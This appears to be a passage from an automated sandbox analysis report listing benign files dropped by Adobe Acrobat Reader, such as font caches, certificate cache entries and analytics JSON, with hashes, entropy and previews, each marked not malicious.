C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7768575004954585
Encrypted:	false
SSDEEP:	48:7Mjp/E2ioyViioy5oWoy1CUoy1qKOioy1noy1AYoy1Wioy1hioybioyAoy1noy1r:7MpjuiJVXKQFwb9IVXEBodRBkO
MD5:	1FD39318B68DCD1921698B8A7F1936EB
SHA1:	A6F462915F13E4754EC3D14B53ECA7BCFE1ADA20
SHA-256:	6B2DF0B6646F1F69F409D5B8BF8AB765B152B33045D2DEEF58FF5338FC6A37B5
SHA-512:	95761257689CAF2E199CB7F0C0C7C6DE74E4F8CC042F6CA7D2654C080E0631A7A8751FB3BE663364A2D6E665576952E0D44D48AEA7EF7336BC05C165CB5F492E
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl5J119stfllXlE/HT8kwyz1NNX8RolJuRdxLlGB9lQRYwpDdt:kK9eT8Iz7NMa8RdWBwRd
MD5:	2CAB53B722294C318A4322084995AB30
SHA1:	5E062FED35E00EBB9D022D7D2BA8A527F1D0AC6B
SHA-256:	A10122748418F90BC6E0C7A1F31C25D5F4616B3F991E125D50B49B99CBF81CFB
SHA-512:	FFC8400B8B95BE03DC1A71D5D7996B2C4F052A5A0FEDA35E7AF332EF4C0D9057734F1D3546A2331C63B080306718774DCFBF9E77E956CD0C50117C86A3FFEF3F
Malicious:	false
Preview:	p...... ........J,..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK1L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9iDImsLNkPlE99SNxAhUe/3
MD5:	7FA10A646999748228362D937CB302D9
SHA1:	457264E33C7F51CE2DD887898D82AD3A08D52B08
SHA-256:	FBE68E6B6B5530944D3D996538F882E754027A48387FE18E3346360126CBFD4C
SHA-512:	251AD39E78F92C2ACA2D91208FF5AF1A0708957A12DE371DA06F0E0542C5016570F2687FFA9A97209BA3D4CCD5F8F38FB276047861C888D2689399633EA198F8
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1412

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1412

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349311820755904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJM3g98kUwPeUkwRe9:YvXKXZqRrJUTbdSVGMbLUkee9
MD5:	C3BD957ADEE1DF5C879A6F88ADBEF840
SHA1:	E0024C497D06B7735D8B4697935105F3943B921F
SHA-256:	BD8D98E6F469981B71A2803512702F64553D0F49803BC0C8088FEFAAED3503A1
SHA-512:	C57C7C714DFF65297C954F3F37832076AE9524857CC63F4E41A9732C83339D522B4F1104EACE53AD6E9ACB28730A06DC5FCE373EB8BB22EDA52F6A1C4DD758E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284061857411367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfBoTfXpnrPeUkwRe9:YvXKXZqRrJUTbdSVGWTfXcUkee9
MD5:	18D0AF0171FF1D4D46BD3E9F48A579A7
SHA1:	51B0658EBFF1BF198AEE579CBFDCB3126CCDEFE7
SHA-256:	4E61E4FDE77AC240076CF58077484B45BEA35775E8DE5420FC7F5D9CC8CCFF22
SHA-512:	3F8C301C2C1BD6265D25F4C5E6468FD3D46044F417A2586F8133E3B5C97BD48ADA17D3A55BDA05111AFB0D22E0ED4E30417DFE01E54E1B5BB05E8F780EDE2BEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262095686302787
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfBD2G6UpnrPeUkwRe9:YvXKXZqRrJUTbdSVGR22cUkee9
MD5:	AAFB74900BD1C14EA93B6A0821F66BA2
SHA1:	F3540A8A5D501EE5F3B37225853550C7396B1013
SHA-256:	64C0A144F88502BF6694EC05CA9B28F95AE62B980CDC32508C917CAF021E562A
SHA-512:	9BD64DA3A4D057E858647D887B654C3E56543F91231AF5DCB1D0FAA37BAB74E4F1267B5C3723CF1622F76B7A7C1DF29D6413B8EB5C9D86058CD181F1EC314E1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.323097493256729
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfPmwrPeUkwRe9:YvXKXZqRrJUTbdSVGH56Ukee9
MD5:	D84A5362498165B3C479F1F04DFE97E9
SHA1:	CDD664B25027D4CA0EBE9153A75A9B3A1081D6A6
SHA-256:	C431888E570A4DF420B1DDE8B1657A5CAA9C83CFFC0557215A09206672BF6739
SHA-512:	CB81BC9B8590EC0C790A5063E57D3F0B0EF774D5012D1ADA3D734275FEA35EDFA8D8DDA28CB5288E5DC9C485AAA474DFE6A9E2957C8240E84DA01566DA17905F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686090096696097
Encrypted:	false
SSDEEP:	24:Yv6XZ8lUXE6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSwn:Yv08lwVhgy6SAFv5Ah8cv/w
MD5:	0D7DC096B450905AB4A6FBC7A08E4901
SHA1:	F92E3FB713C7880C7DE538BD4197033747CAD233
SHA-256:	1B33E9C79B79CBEC9BF8E5DA61F9B078FC4447AD5BBC0471780360BDCD54F53A
SHA-512:	1D58124D8A18834B192A147867C2588630B76132756F043AF5A2E3120D58DE20F1FA298A22E6DBAC8FD332205B1D26B86CEF800DCDCC8DC1414FEFD891B31935
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263554931342821
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJf8dPeUkwRe9:YvXKXZqRrJUTbdSVGU8Ukee9
MD5:	B5AE13F61711C833CC54DD203ACE462A
SHA1:	2C33529EEEAA8E2585DC52E30DE528E909D37EB0
SHA-256:	9DADEE084A29D32939E201A887A4FCCB558715512E480E8D53F36AB6E10C0F19
SHA-512:	818858BA77367973C4414988A19448DDD25FCE88F4F4FBC32AA867921FA9D46BD186A066E842BB28999B1CFE9F18CE3814332955F834549698DBCCA59A46B317
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.265668368161252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfQ1rPeUkwRe9:YvXKXZqRrJUTbdSVGY16Ukee9
MD5:	BCAFB7ABC5F6816FB712E3A3B4D950E7
SHA1:	BFB84F2BC0991C42E24A88CC47C0F28B4B0E7C29
SHA-256:	C4893BBFFAA024FD442DF40BA040980FAD785DF21E2E3A6E7F0A51F5CCE995E1
SHA-512:	76915340E2706802624C94971B00C7E6614CAF94C5D151A78F87EFC8FD97E374C31C9C16ECB239B962E44B963629FAD8E4E3CA10B409F9E9E1DAA641EC81390E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277971823345022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZqCEBr8WUXjb24kF0Yn7KoAvJfFldPeUkwRe9:YvXKXZqRrJUTbdSVGz8Ukee9
MD5:	7EF07B6421B102C4BD882FBE1A21123F
SHA1:	27BAC5353F13F2EC9AAC2FEE1753D4CACE47A172
SHA-256:	8FCE29C67080543D3CD4BF858CD90A15BDFA361AC764A67FC3422230EF3C0F5E
SHA-512:	897EDF41F40AD7364844E8D1907D2AD66B77B08C98C3C8A5B6517341021D73C234146EBF065C8E521845A523C60AE71EEA5FDF386C77A41E752948C0728F2870
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1446c153-5818-4b8c-9f4d-680c3efe14ce","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718742090,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

